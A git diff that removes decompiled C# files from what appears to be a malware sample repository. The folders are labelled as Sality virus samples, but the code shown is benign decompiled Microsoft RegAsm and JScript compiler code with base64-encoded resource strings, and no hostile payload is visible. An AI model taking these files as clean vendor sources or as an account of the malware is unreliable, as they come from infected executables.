AppDomainSetup() - { - ApplicationBase = directoryName - }); - if (domain == null) - throw new ApplicationException(Resource.FormatString("Err_CannotCreateAppDomain")); - string fullName = typeof (RemoteRegAsm).Assembly.GetName().FullName; - RemoteRegAsm remoteRegAsm = (RemoteRegAsm) (domain.CreateInstance(fullName, "RegCode.RemoteRegAsm") ?? throw new ApplicationException(Resource.FormatString("Err_CannotCreateRemoteRegAsm"))).Unwrap(); - if (remoteRegAsm != null) - num = remoteRegAsm.Run(RegAsm.RegAsm.s_Options); - } - catch (Exception ex) - { - RegAsm.RegAsm.WriteErrorMsg((string) null, ex); - num = 100; - } - return num; - } - - private static bool ContainsEmbeddedTlb(string strFileName) - { - UCOMITypeLib TypeLib = (UCOMITypeLib) null; - try - { - RegAsm.RegAsm.LoadTypeLibEx(RegAsm.RegAsm.s_Options.m_strAssemblyName, REGKIND.REGKIND_NONE, out TypeLib); - } - catch (Exception ex) - { - } - return TypeLib != null; - } - - private static void WriteErrorMsg(string strPrefix, Exception e) - { - string str = ""; - if (strPrefix != null) - str = strPrefix; - Console.Error.WriteLine(Resource.FormatString("Msg_RegAsmErrorPrefix", e.Message == null ? (object) (str + ((object) e).GetType().ToString()) : (object) (str + e.Message))); - } - - private static void WriteErrorMsg(string strErrorMsg) => Console.Error.WriteLine(Resource.FormatString("Msg_RegAsmErrorPrefix", (object) strErrorMsg)); - - private static void WriteWarningMsg(string strErrorMsg) => Console.Error.WriteLine(Resource.FormatString("Msg_RegAsmWarningPrefix", (object) strErrorMsg)); - - private static bool ParseArguments( - string[] aArgs, - ref RegAsmOptions Options, - ref int ReturnCode) - { - Options = new RegAsmOptions(); - CommandLine commandLine; - try - { - commandLine = new CommandLine(aArgs, new string[10] - { - "+regfile", - "+tlb", - "unregister", - "registered", - "codebase", - "nologo", - "silent", - "verbose", - "?", - "help" - }); - } - catch (ApplicationException ex) - { - RegAsm.RegAsm.PrintLogo(); - RegAsm.RegAsm.WriteErrorMsg((string) null, (Exception) ex); - ReturnCode = 100; - return false; - } - if (commandLine.NumArgs + commandLine.NumOpts < 1) - { - RegAsm.RegAsm.PrintUsage(); - ReturnCode = 0; - return false; - } - Options.m_strAssemblyName = commandLine.GetNextArg(); - Option nextOption; - while ((nextOption = commandLine.GetNextOption()) != null) - { - if (nextOption.Name.Equals("regfile")) - { - Options.m_strRegFileName = nextOption.Value; - Options.m_bRegFileSpecified = true; - } - else if (nextOption.Name.Equals("tlb")) - { - Options.m_strTypeLibName = nextOption.Value; - Options.m_bTypeLibSpecified = true; - } - else if (nextOption.Name.Equals("codebase")) - Options.m_bSetCodeBase = true; - else if (nextOption.Name.Equals("unregister")) - Options.m_bRegister = false; - else if (nextOption.Name.Equals("registered")) - Options.m_Flags |= TypeLibExporterFlags.OnlyReferenceRegistered; - else if (nextOption.Name.Equals("nologo")) - Options.m_bNoLogo = true; - else if (nextOption.Name.Equals("silent")) - Options.m_bSilentMode = true; - else if (nextOption.Name.Equals("verbose")) - { - Options.m_bVerboseMode = true; - } - else - { - if (nextOption.Name.Equals("?") || nextOption.Name.Equals("help")) - { - RegAsm.RegAsm.PrintUsage(); - ReturnCode = 0; - return false; - } - RegAsm.RegAsm.PrintLogo(); - RegAsm.RegAsm.WriteErrorMsg(Resource.FormatString("Err_InvalidOption")); - ReturnCode = 100; - return false; - } - } - if (!Options.m_bRegister && Options.m_bRegFileSpecified) - { - RegAsm.RegAsm.PrintLogo(); - RegAsm.RegAsm.WriteErrorMsg(Resource.FormatString("Err_CannotGenRegFileForUnregister")); - ReturnCode = 100; - return false; - } - if (Options.m_bTypeLibSpecified && Options.m_bRegFileSpecified) - { - RegAsm.RegAsm.PrintLogo(); - RegAsm.RegAsm.WriteErrorMsg(Resource.FormatString("Err_CannotGenRegFileAndExpTlb")); - ReturnCode = 100; - return false; - } - if (Options.m_strAssemblyName != null) - return true; - RegAsm.RegAsm.PrintLogo(); - RegAsm.RegAsm.WriteErrorMsg(Resource.FormatString("Err_NoInputFile")); - ReturnCode = 100; - return false; - } - - private static void PrintLogo() - { - if (RegAsm.RegAsm.s_Options.m_bNoLogo) - return; - Console.WriteLine(Resource.FormatString("Msg_Copyright", (object) "1.1.4322.573")); - } - - private static void PrintUsage() - { - RegAsm.RegAsm.PrintLogo(); - Console.WriteLine(Resource.FormatString("Msg_Usage")); - } - - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern int SearchPath( - string path, - string fileName, - string extension, - int numBufferChars, - StringBuilder buffer, - int[] filePart); - - [DllImport("oleaut32.dll", CharSet = CharSet.Unicode, PreserveSig = false)] - private static extern void LoadTypeLibEx( - string strTypeLibName, - REGKIND regKind, - out UCOMITypeLib TypeLib); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/RegAsm.resx b/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/RegAsm.resx deleted file mode 100644 index f963f8d6..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/RegAsm.resx +++ /dev/null @@ -1,231 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - LFJlZ2lzdHJ5IHNjcmlwdCAnezB9JyBnZW5lcmF0ZWQgc3VjY2Vzc2Z1bGx5 - - - IFRoZSAvezB9IG9wdGlvbiByZXF1aXJlcyBhIHZhbHVl - - - H1R5cGVzIHVucmVnaXN0ZXJlZCBzdWNjZXNzZnVsbHk= - - - OkFuIGVycm9yIG9jY3VycmVkIHdoaWxlIHNhdmluZyB0aGUgZXhwb3J0ZWQgdHlwZSBsaWJyYXJ5OiA= - - - N1RoZSAvcmVnZmlsZSBvcHRpb24gY2Fubm90IGJlIHVzZWQgd2l0aCB0aGUgL3RsYiBvcHRpb24= - - - FEV4Y2VwdGlvblt7MH1dID0gezF9 - - - KFRoZSAvezB9IG9wdGlvbiBkb2VzIG5vdCByZXF1aXJlIGEgdmFsdWU= - - - JEFuIGludmFsaWQgb3B0aW9uIGhhcyBiZWVuIHNwZWNpZmllZA== - - - E1JlZ0FzbSB3YXJuaW5nOiB7MH0= - - - T1RoZSBmb2xsb3dpbmcgZXhjZXB0aW9ucyB3ZXJlIHRocm93biB3aGlsZSBsb2FkaW5nIHRoZSB0eXBlcyBpbiB0aGUgYXNzZW1ibHk6DQo= - - - SUFuIGVycm9yIG9jY3VycmVkIGluc2lkZSB0aGUgdXNlciBkZWZpbmVkIFJlZ2lzdGVyL1VucmVnaXN0ZXIgZnVuY3Rpb25zOiA= - - - JlVuYWJsZSB0byBsb2NhdGUgaW5wdXQgYXNzZW1ibHk6ICd7MH0n - - - LFJlZ2lzdHJ5IGZpbGUgd291bGQgb3ZlcndyaXRlIHRoZSBpbnB1dCBmaWxl - - - NVR5cGUgbGlicmFyeSAnezB9JyBsb2FkZWQgYW5kIHJlZ2lzdGVyZWQgc3VjY2Vzc2Z1bGx5 - - - F0V4Y2VwdGlvblt7MH1dID09Pj4gezF9 - - - YlRoZSBuYW1lIG9mIHRoZSB0eXBlIGxpYnJhcnkgY2Fubm90IGJlIHNwZWNpZmllZCBmb3IgYXNzZW1ibGllcyBjb250YWluaW5nIGVtYmVkZGVkIHR5cGUgbGlicmFyaWVz - - - ZlR5cGUgJ3swfScgaGFzIGEgQ29tVW5yZWdpc3RlckZ1bmN0aW9uIHdoaWNoIHdpbGwgbm90IGJlIGNhbGxlZCBzaW5jZSB0aGUgdHlwZSBpcyBub3QgYmVpbmcgcmVnaXN0ZXJlZA== - - - OEVycm9yIGNyZWF0aW5nIGFuIGFwcCBkb21haW4gdG8gcGVyZm9ybSB0aGUgcmVnaXN0cmF0aW9u - - - FFVua25vd24gb3B0aW9uOiAvezB9 - - - IE5vIGlucHV0IGZpbGUgaGFzIGJlZW4gc3BlY2lmaWVk - - - SE5vIHJlZ2lzdHJ5IHNjcmlwdCB3aWxsIGJlIHByb2R1Y2VkIHNpbmNlIHRoZXJlIGFyZSBubyB0eXBlcyB0byByZWdpc3Rlcg== - - - SVVuYWJsZSB0byBsb2FkIHRoZSBSZW1vdGVSZWdBc20gdHlwZSByZXF1aXJlZCB0byBwZXJmb3JtIHRoZSByZWdpc3RyYXRpb24= - - - FkFtYmlndW91cyBvcHRpb246IC97MH0= - - - oQZTeW50YXg6IFJlZ0FzbSBBc3NlbWJseVBhdGggW09wdGlvbnNdDQpPcHRpb25zOg0KICAgIC91bnJlZ2lzdGVyICAgICAgICAgIFVucmVnaXN0ZXIgdHlwZXMNCiAgICAvdGxiWzpGaWxlTmFtZV0gICAgICBFeHBvcnQgdGhlIGFzc2VtYmx5IHRvIHRoZSBzcGVjaWZpZWQgdHlwZSBsaWJyYXJ5DQogICAgICAgICAgICAgICAgICAgICAgICAgYW5kIHJlZ2lzdGVyIGl0DQogICAgL3JlZ2ZpbGVbOkZpbGVOYW1lXSAgR2VuZXJhdGUgYSByZWcgZmlsZSB3aXRoIHRoZSBzcGVjaWZpZWQgbmFtZQ0KICAgICAgICAgICAgICAgICAgICAgICAgIGluc3RlYWQgb2YgcmVnaXN0ZXJpbmcgdGhlIHR5cGVzLiBUaGlzIG9wdGlvbg0KICAgICAgICAgICAgICAgICAgICAgICAgIGNhbm5vdCBiZSB1c2VkIHdpdGggdGhlIC91IG9yIC90bGIgb3B0aW9ucw0KICAgIC9jb2RlYmFzZSAgICAgICAgICAgIFNldCB0aGUgY29kZSBiYXNlIGluIHRoZSByZWdpc3RyeQ0KICAgIC9yZWdpc3RlcmVkICAgICAgICAgIE9ubHkgcmVmZXIgdG8gYWxyZWFkeSByZWdpc3RlcmVkIHR5cGUgbGlicmFyaWVzDQogICAgL25vbG9nbyAgICAgICAgICAgICAgUHJldmVudHMgUmVnQXNtIGZyb20gZGlzcGxheWluZyBsb2dvDQogICAgL3NpbGVudCAgICAgICAgICAgICAgU2lsZW50IG1vZGUuIFByZXZlbnRzIGRpc3BsYXlpbmcgb2Ygc3VjY2VzcyBtZXNzYWdlcw0KICAgIC92ZXJib3NlICAgICAgICAgICAgIERpc3BsYXlzIGV4dHJhIGluZm9ybWF0aW9uDQogICAgLz8gb3IgL2hlbHAgICAgICAgICAgRGlzcGxheSB0aGlzIHVzYWdlIG1lc3NhZ2U= - - - PlRoZSAvcmVnZmlsZSBvcHRpb24gY2Fubm90IGJlIHVzZWQgd2l0aCB0aGUgL3VucmVnaXN0ZXIgb3B0aW9u - - - OEFuIGVycm9yIG9jY3VycmVkIHdoaWxlIHVucmVnaXN0ZXJpbmcgdGhlIHR5cGUgbGlicmFyeTog - - - GE5vIHR5cGVzIHdlcmUgcmVnaXN0ZXJlZA== - - - LFR5cGUgbGlicmFyeSAnezB9JyB1bnJlZ2lzdGVyZWQgc3VjY2Vzc2Z1bGx5 - - - GE5vIHR5cGVzIHdlcmUgcmVnaXN0ZXJlZA== - - - HVR5cGVzIHJlZ2lzdGVyZWQgc3VjY2Vzc2Z1bGx5 - - - P0FuIGVycm9yIG9jY3VycmVkIHdoaWxlIHJlZ2lzdGVyaW5nIHRoZSBleHBvcnRlZCB0eXBlIGxpYnJhcnk6IA== - - - ZFR5cGUgJ3swfScgaGFzIGEgQ29tUmVnaXN0ZXJGdW5jdGlvbiB3aGljaCB3aWxsIG5vdCBiZSBjYWxsZWQgc2luY2UgdGhlIHR5cGUgaXMgbm90IGJlaW5nIHJlZ2lzdGVyZWQ= - - - PEZhaWxlZCB0byBsb2FkICd7MH0nIGJlY2F1c2UgaXQgaXMgbm90IGEgdmFsaWQgLk5FVCBhc3NlbWJseQ== - - - hgFNaWNyb3NvZnQgKFIpIC5ORVQgRnJhbWV3b3JrIEFzc2VtYmx5IFJlZ2lzdHJhdGlvbiBVdGlsaXR5IHswfQ0KQ29weXJpZ2h0IChDKSBNaWNyb3NvZnQgQ29ycG9yYXRpb24gMTk5OC0yMDAyLiAgQWxsIHJpZ2h0cyByZXNlcnZlZC4NCg== - - - EVJlZ0FzbSBlcnJvcjogezB9 - - - OFR5cGUgbGlicmFyeSAnezB9JyBnZW5lcmF0ZWQgYW5kIHJlZ2lzdGVyZWQgc3VjY2Vzc2Z1bGx5 - - - HkF1dG8gZXhwb3J0aW5nICd7MH0nIGFzICd7MX0nLg== - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Resource.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Resource.cs deleted file mode 100644 index 982880c9..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Resource.cs +++ /dev/null @@ -1,41 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RegAsm.Resource -// Assembly: RegAsm, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: 0D2001F8-49C5-49A7-BF2D-B8D87970A226 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd.exe - -using System; -using System.Globalization; -using System.Reflection; -using System.Resources; - -namespace RegAsm -{ - internal class Resource - { - private static ResourceManager _resmgr; - - private static void InitResourceManager() - { - if (Resource._resmgr != null) - return; - Resource._resmgr = new ResourceManager("RegAsm", Assembly.GetAssembly(typeof (RegAsm.RegAsm))); - } - - internal static string GetString(string key) - { - Resource.InitResourceManager(); - return Resource._resmgr.GetString(key, (CultureInfo) null) ?? throw new ApplicationException("FATAL: Resource string for '" + key + "' is null"); - } - - internal static string FormatString(string key) => Resource.GetString(key); - - internal static string FormatString(string key, object a1) => string.Format(Resource.GetString(key), a1); - - internal static string FormatString(string key, object a1, object a2) => string.Format(Resource.GetString(key), a1, a2); - - internal static string FormatString(string key, object a1, object a2, object a3) => string.Format(Resource.GetString(key), a1, a2, a3); - - internal static string FormatString(string key, object[] a) => string.Format(Resource.GetString(key), a); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Util/Version.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Util/Version.cs deleted file mode 100644 index 509994ad..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Util/Version.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Util.Version -// Assembly: RegAsm, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: 0D2001F8-49C5-49A7-BF2D-B8D87970A226 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd.exe - -namespace Util -{ - internal class Version - { - public const string VersionString = "1.1.4322.573"; - public const string SBSVersionString = "1.1.4322"; - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Virus.Win32.Sality.q.csproj b/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Virus.Win32.Sality.q.csproj deleted file mode 100644 index 4cab2b95..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Virus.Win32.Sality.q.csproj +++ /dev/null @@ -1,46 +0,0 @@ - - - - - Debug - AnyCPU - {D9A4F04C-05A1-494F-BA72-F914C0438977} - Exe - RegAsm - 1.0.5000.0 - RegAsm - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Virus.Win32.Sality.q.sln b/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Virus.Win32.Sality.q.sln deleted file mode 100644 index b7fb7cdf..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Virus.Win32.Sality.q.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RegAsm", "Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd.csproj", "{D9A4F04C-05A1-494F-BA72-F914C0438977}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {D9A4F04C-05A1-494F-BA72-F914C0438977}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {D9A4F04C-05A1-494F-BA72-F914C0438977}.Debug|Any CPU.Build.0 = Debug|Any CPU - {D9A4F04C-05A1-494F-BA72-F914C0438977}.Release|Any CPU.ActiveCfg = Release|Any CPU - {D9A4F04C-05A1-494F-BA72-F914C0438977}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/AssemblyInfo.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/AssemblyInfo.cs deleted file mode 100644 index e413726f..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/AssemblyInfo.cs +++ /dev/null @@ -1,10 +0,0 @@ -using System.Reflection; -using System.Resources; - -[assembly: NeutralResourcesLanguage("en-US")] -[assembly: SatelliteContractVersion("7.0.5000.0")] -[assembly: AssemblyTitle("JScript Compiler")] -[assembly: AssemblyDescription("JScript command line compiler")] -[assembly: AssemblyKeyFile("f:\\VS70Builds\\3052\\vs\\src\\common\\security\\FinalPublicKey.snk")] -[assembly: AssemblyDelaySign(true)] -[assembly: AssemblyVersion("7.0.5000.0")] diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/BuildVersionInfo.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/BuildVersionInfo.cs deleted file mode 100644 index e052dc60..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/BuildVersionInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: BuildVersionInfo -// Assembly: jsc, Version=7.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: 64FE9439-6D79-4C3B-BBDD-9D73A741F992 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48.exe - -internal class BuildVersionInfo -{ - public const int MajorVersion = 7; - public const int MinorVersion = 10; - public const int Revision = 0; - public const int Build = 3052; -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/Compiler.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/Compiler.cs deleted file mode 100644 index 606077fc..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/Compiler.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Compiler -// Assembly: jsc, Version=7.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: 64FE9439-6D79-4C3B-BBDD-9D73A741F992 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48.exe - -using System; -using System.Reflection; -using System.Security.Policy; - -internal class Compiler -{ - public static int Main(string[] args) - { - AppDomainSetup info = new AppDomainSetup(); - info.PrivateBinPath = ""; - info.PrivateBinPathProbe = "*"; - try - { - return ((JScriptCompiler) AppDomain.CreateDomain(nameof (Compiler), (Evidence) null, info).CreateInstance(Assembly.GetAssembly(typeof (JScriptCompiler)).FullName, "JScriptCompiler").Unwrap()).Run(args); - } - catch (Exception ex) - { - Console.WriteLine(JScriptCompiler.Localize("INTERNAL COMPILER ERROR", ex.Message)); - return 10; - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/CompilerOptions.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/CompilerOptions.cs deleted file mode 100644 index 37efeffa..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/CompilerOptions.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: CompilerOptions -// Assembly: jsc, Version=7.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: 64FE9439-6D79-4C3B-BBDD-9D73A741F992 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48.exe - -using System; -using System.Collections; -using System.Reflection.Emit; - -internal class CompilerOptions -{ - public bool autoRef; - public bool fDebug; - public bool fFast; - public bool fNoStdlib; - public PEFileKinds PEFileKind; - public bool fTreatWarningsAsErrors; - public bool fVersionSafe; - public bool fPrint; - public int nWarningLevel; - public string strOutputFileName; - public ArrayList SourceFileNames; - public ArrayList ImportFileNames; - public Hashtable ManagedResourceFileNames; - public Hashtable ManagedResources; - public string Win32Resource; - public int codepage; - public bool fForceCodepage; - public Version versionInfo; - public string libpath; - public Hashtable Defines; - public bool autoRefSetExplicitly; - public bool fTargetSpecified; - public bool fPrintSetExplicitly; - - public CompilerOptions() - { - this.autoRef = true; - this.PEFileKind = PEFileKinds.ConsoleApplication; - this.fFast = true; - this.fPrint = true; - this.nWarningLevel = 4; - this.SourceFileNames = new ArrayList(); - this.ImportFileNames = new ArrayList(); - this.ManagedResourceFileNames = new Hashtable(10); - this.ManagedResources = new Hashtable(10); - this.Defines = new Hashtable(); - string environmentVariable = Environment.GetEnvironmentVariable("LIB"); - if (environmentVariable != null) - this.libpath = environmentVariable; - else - this.libpath = ""; - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/EngineSite.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/EngineSite.cs deleted file mode 100644 index 7b74bbb7..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/EngineSite.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: EngineSite -// Assembly: jsc, Version=7.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: 64FE9439-6D79-4C3B-BBDD-9D73A741F992 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48.exe - -using Microsoft.Vsa; - -internal class EngineSite : IVsaSite -{ - private CompilerOptions options; - - public EngineSite(CompilerOptions options) => this.options = options; - - public virtual bool OnCompilerError(IVsaError error) - { - int severity = error.Severity; - if (severity > this.options.nWarningLevel) - return true; - bool fIsWarning = severity != 0 && !this.options.fTreatWarningsAsErrors; - JScriptCompiler.PrintError(error.SourceMoniker, error.Line, error.StartColumn, fIsWarning, error.Number, error.Description); - return true; - } - - public virtual object GetItemInfo(string strItemName) => throw new VsaException((VsaError) -2146226168); - - public virtual object GetGlobalInstance(string name) => throw new VsaException((VsaError) -2146226168); - - public virtual object GetEventSourceInstance(string ItemName, string EventSourceName) => throw new VsaException((VsaError) -2146226168); - - public virtual void Notify(string notification, object value) => throw new VsaException((VsaError) -2146226168); - - public virtual void GetCompiledState(out byte[] pe, out byte[] debugInfo) - { - pe = (byte[]) null; - debugInfo = (byte[]) null; - throw new VsaException((VsaError) -2146226168); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/JSC.resx b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/JSC.resx deleted file mode 100644 index ad331892..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/JSC.resx +++ /dev/null @@ -1,237 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - JFNwZWNpZmllcyBXaW4zMiByZXNvdXJjZSBmaWxlICgucmVzKQ== - - - DS0gUkVTT1VSQ0VTIC0= - - - M1VzZSB0aGUgc3BlY2lmaWVkIGNvZGUgcGFnZSBJRCB0byBvcGVuIHNvdXJjZSBmaWxlcw== - - - DC0gQURWQU5DRUQgLQ== - - - Dy0gSU5QVVQgRklMRVMgLQ== - - - HUpTY3JpcHQgLk5FVCBDb21waWxlciBPcHRpb25z - - - LUxpbmtzIHRoZSBzcGVjaWZpZWQgcmVzb3VyY2UgdG8gdGhpcyBhc3NlbWJseQ== - - - HENyZWF0ZSBhIHdpbmRvd3MgYXBwbGljYXRpb24= - - - GkVtaXQgZGVidWdnaW5nIGluZm9ybWF0aW9u - - - JkNyZWF0ZSBhIGNvbnNvbGUgYXBwbGljYXRpb24gKGRlZmF1bHQp - - - GFByb3ZpZGUgcHJpbnQoKSBmdW5jdGlvbg== - - - EC0gT1VUUFVUIEZJTEVTIC0= - - - OVVzZSB0aGUgc3BlY2lmaWVkIGxjaWQgZm9yIG1lc3NhZ2VzIGFuZCBkZWZhdWx0IGNvZGUgcGFnZQ== - - - OURpc2FibGUgbGFuZ3VhZ2UgZmVhdHVyZXMgdG8gYWxsb3cgYmV0dGVyIGNvZGUgZ2VuZXJhdGlvbg== - - - F1NldCB3YXJuaW5nIGxldmVsICgwLTQp - - - I1JlYWQgcmVzcG9uc2UgZmlsZSBmb3IgbW9yZSBvcHRpb25z - - - M1JlZmVyZW5jZSBtZXRhZGF0YSBmcm9tIHRoZSBzcGVjaWZpZWQgYXNzZW1ibHkgZmlsZQ== - - - DERpc3BsYXkgaGVscA== - - - T0RvIG5vdCBpbXBvcnQgc3RhbmRhcmQgbGlicmFyeSAobXNjb3JsaWIuZGxsKSBhbmQgY2hhbmdlIGF1dG9yZWYgZGVmYXVsdCB0byBvZmY= - - - O1NwZWNpZnkgZGVmYXVsdCBmb3IgbWVtYmVycyBub3QgbWFya2VkICdvdmVycmlkZScgb3IgJ2hpZGUn - - - HUVtYmVkcyB0aGUgc3BlY2lmaWVkIHJlc291cmNl - - - E1NvdXJjZSBmaWxlIHRvbyBiaWc= - - - MEVtaXQgY29tcGlsZXIgb3V0cHV0IGluIFVURi04IGNoYXJhY3RlciBlbmNvZGluZw== - - - HSoqKklOVEVSTkFMIENPTVBJTEVSIEVSUk9SKioq - - - 